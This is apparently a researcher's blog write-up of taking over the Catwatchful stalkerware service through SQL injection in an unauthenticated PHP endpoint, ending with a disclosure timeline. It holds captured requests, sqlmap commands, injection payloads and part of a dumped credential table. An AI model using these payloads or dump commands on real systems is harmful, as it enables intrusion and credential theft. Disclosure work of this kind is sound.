Taking over 60k spyware user accounts with SQL injection

Taking over 60k spyware user accounts with SQL injection
Eric Daigle #hackingBackground#
Recently I was looking through a database of known stalkerware services and found one I wasn’t familiar with: Catwatchful. It seemed to be a full-featured Android spy app, to actually be its own service as opposed to a millionth FlexiSpy reseller, and to offer a 3-day free trial. Aside from a boilerplate disclaimer to only use it with consent, it also pretty brazenly advertised itself as stalkerware in the FAQ:
Q: Can I monitor a phone without them knowing?
A: Yes, you can monitor a phone without them knowing with mobile phone monitoring software. The app is invisible and undetectable on the phone. It works in a hidden and stealth mode.
Apparently still unsatisfied, it boasted even further about “absolute stealth” in a list of features:
Catwatchful is invisible. It cannot be detected. It cannot be uninstalled. It cannot be stopped. It cannot be closed. Only you can access the information it collects.
Let’s see about that last part, shall we?
Part 0: Setup#
I began by making a free trial account on the website. Interestingly, this triggered two separate POST requests:
METHOD: POST
URL: https://identitytoolkit.googleapis.com/v1/accounts:signUp?key=AIzaSyBVQYU9-rygrs-NQhOdhtY1iC02JOq_l0U
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:139.0) Gecko/20100101 Firefox/139.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br, zstd
X-Client-Version: Firefox/JsCore/10.12.2/FirebaseCore-web
X-Firebase-gmpid: 1:290254967732:android:1be5a596e0649f3e
Content-Type: application/json
Origin: https://cp.catwatchful.com
DNT: 1
Sec-GPC: 1
Connection: keep-alive
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site
Priority: u=6
TE: trailers
{"returnSecureToken":true,"email":"[email protected]","password":"test123","clientType":"CLIENT_TYPE_WEB"}
STATUS: 200 OK
and
METHOD: POST
URL: https://catwatchful.pink/webservice/[email protected]&pass=test123&firebase_uid=JIOgo826TPfb0pMFKmzkE7jz9JO2'
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:139.0) Gecko/20100101 Firefox/139.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br, zstd
Referer: https://cp.catwatchful.com/
Origin: https://cp.catwatchful.com
DNT: 1
Sec-GPC: 1
Connection: keep-alive
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site
Priority: u=4
Content-Length: 0
STATUS: 200 OK
Content-Type: application/json
Date: Mon, 9 Jun 2025 16:50:31 GMT
Server: Apache
{"statusCode":200,"statusMessage":"newUser: OK","data":"6904999"}
It seems to have made me an account in both a Firebase instance and a custom database on catwatchful.pink
.
After registration and login, I get given an APK to download and install. From here, installation goes as usual for Android stalkerware: the app has me download and install another APK pre-configured with my account credentials. This app then asks for basically every permission on the system, guides me through uninstalling the original installer app, then runs in the background forever while disguising itself in the app drawer with a generic “Settings” icon.
Part 1: Recon#
After installing the app and re-logging into the web interface, I’m presented with a control panel with which to spy on my test phone. Two things stand out to me here: first of all, the app works really well. A lot of stalkerware apps are half-broken, clearly built by gluing together various chunks of spaghetti code long abandoned by their original authors. Not so here - all these features work as advertised with minimal latency. The live photo and microphone options are particularly creepy, successfully taking a photo or recording and uploading it for me to view near-instantly on the control panel without giving the phone user the slightest sign that anything is amiss.
The only bug I found was in the sidebar counters (I did not in fact take 3002 screenshots while testing)
The second notable thing is that all the personal data collected here seems to be stored in Firebase, served from Cloud Storage URLs in the form catwatchful-e03b8.appspot.com/o/usersFiles/JIOgo826TPfb0pMFKmzkE7jz9JO2/M6GPYXHZ95ULUFD0/micRecorders/grab_2025-06-09_17-04-34
. Intercepting my test phone’s traffic confirms that the files are directly uploaded to Firebase, and reveals that the commands for features like live photos are also handled through FCM. This is going to reduce our attack surface by a lot - nothing in Firebase is going to be IDORable or vulnerable to SQLI, and some quick testing eliminates any of the usual traps like open storage buckets or client-side service account credentials. We’re going to have to focus on that mysterious catwatchful.pink
server I was also signed up on.
Part 2: Playing with the other server#
Scrolling back through the requests since I logged back in, I see a few more requests were made to catwatchful.pink
, seemingly to a PHP API which provides various account information used to construct the control panel UI. Let’s focus on the first one:
METHOD: GET
URL: https://catwatchful.pink/webservice/servicios.php?operation=getDevice&imei=M6GPYXHZ95ULUFD0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br, zstd
Referer: https://cp.catwatchful.com/
Origin: https://cp.catwatchful.com
DNT: 1
Sec-GPC: 1
Connection: keep-alive
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site
Priority: u=4
Content-Length: 0
STATUS: 200 OK
Content-Type: application/json
Date: Mon, 9 Jun 2025 18:01:31 GMT
Server: Apache
{"statusCode":200,"statusMessage":"getDevice: OK","data":[{"imei":"M6GPYXHZ95ULUFD0","fecInst":"2025-06-09 16:55:11","ts_lastSync":"1749493803","country":null,"appVersion":"18 - Beta 1","selfUninstall":null,"ts_now":"1749494763"},null]}
Like all the other servicios.php
calls, this is unauthenticated - I can get anyone’s installation date, last seen date, and installation status just by knowing their imei
parameter! But none of this data is that interesting, and even if it were, the imei
parameter (which despite its name seems to just be a random 16-digit alphanumeric device identifier) has too much entropy to be vulnerable to an IDOR. Testing the other operation
endpoints hoping to find credentials or pre-signed Firebase Storage URLs yields similar results.
Part 3: SQL injection#
Having given up on finding anything sensitive through an unauthenticated API call, I figured I may as well try SQLI, even knowing how long of a shot finding it on a production service in 2025 is. Let’s give it a shot on that same getDevice
endpoint:
edaigle@garibaldi ~/h/catwatchful> sqlmap https://catwatchful.pink/webservice/servicios.php?operation=getDevice&imei=M6GPYXHZ95ULUFD0
...
sqlmap identified the following injection point(s) with a total of 76 HTTP(s) requests:
---
Parameter: #1* (URI)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: https://catwatchful.pink/webservice/servicios.php?operation=getDevice&imei=' AND (SELECT 4047 FROM (SELECT(SLEEP(5)))gYOW) AND 'qIwU'='qIwU
Type: UNION query
Title: Generic UNION query (NULL) - 7 columns
Payload: https://catwatchful.pink/webservice/servicios.php?operation=getDevice&imei=' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x71786a7671,0x547270536e71634364706658434b51654c666a504156797743416a4d565247584a69774d645a5546,0x7170717171),NULL,NULL,NULL-- -
---
Well that was easy. And there’s even a non-blind one we can use to dump the database in a reasonable amount of time.
Part 4: All your logins are belong to us#
Time to see what we can get out of this thing:
edaigle@garibaldi ~/h/catwatchful> sqlmap https://catwatchful.pink/webservice/servicios.php?operation=getDevice&imei=M6GPYXHZ95ULUFD0 --dump-all
...
Database: catwatch_system
Table: user
[62050 entries]
+---------+------------------------------+--------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------+---------------------+---------------------+----------------+
| userId | firebase_uid | pass | email | fecCreacion | fecUltimoAc | lastClientUsed |
+---------+------------------------------+--------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------+---------------------+---------------------+----------------+
| 1 | OFcPdPwjZkcAZeL8hbFs438oXVl1 | demo123 | [email protected] | 2022-10-18 14:28:18 | 2025-06-06 22:32:05 | 1 |
| 1886 | UCm3vZjy66PittxG9EAE5OGStNh2 | Jxxxxxxxxxxxx | [email protected] | 2018-03-22 00:09:20 | 2025-05-30 06:27:53 | 1 |
| 2897 | shaaozpRiuap9I2KUd5XFT2DYNv2 | axxxxxxxxxxxx | [email protected] | 2018-04-13 19:46:55 | 2025-05-20 21:14:39 | 1 |
...
The censors are mine - this table contains plaintext logins and passwords for all ~62k Catwatchful accounts. The dump also yielded a few other tables linking accounts to devices and some tracking administrative stats, but the rest are essentialy all redundant given this one. We now control every account on the service.
Part 5: Aftermath#
Dumping a stalkerware service’s database lets you do lots of fun things like identify who runs it and report it to various cloud providers who claim they’ll take it down. Most of this work was generously taken on by noted actual journalist Zack Whittaker, who as usual put together a great piece for TechCrunch.
Timeline#
- 2025-06-09: Vulnerability discovered, Zack contacted
- 2025-06-23: Zack contacts Google who flag it in Safe Browsing, Firebase team claim they’re looking into it (DB still up as of this writing)
- 2025-06-25: Zack contacts Hosting.com who host
catwatchful.pink
(site is down by end of day, breaking the service) and individual identified as running the service (no response as of this writing) - 2025-06-26: Service is restored with
catwatchful.pink
replaced byxng.vju.temporary.site
which is still vulnerable - 2025-06-27: A WAF goes up on
xng.vju.temporary.site
, successfully blocking the SQLI - 2025-07-02: Publication
Support#
If you’ve made it this far, consider supporting my work with a small donation on ko-fi! This site is ad-free and social-media-free and uses open-source privacy-respecting analytics.
[Breaking into dozens of apartments in five minutes] >
What's Your Reaction?






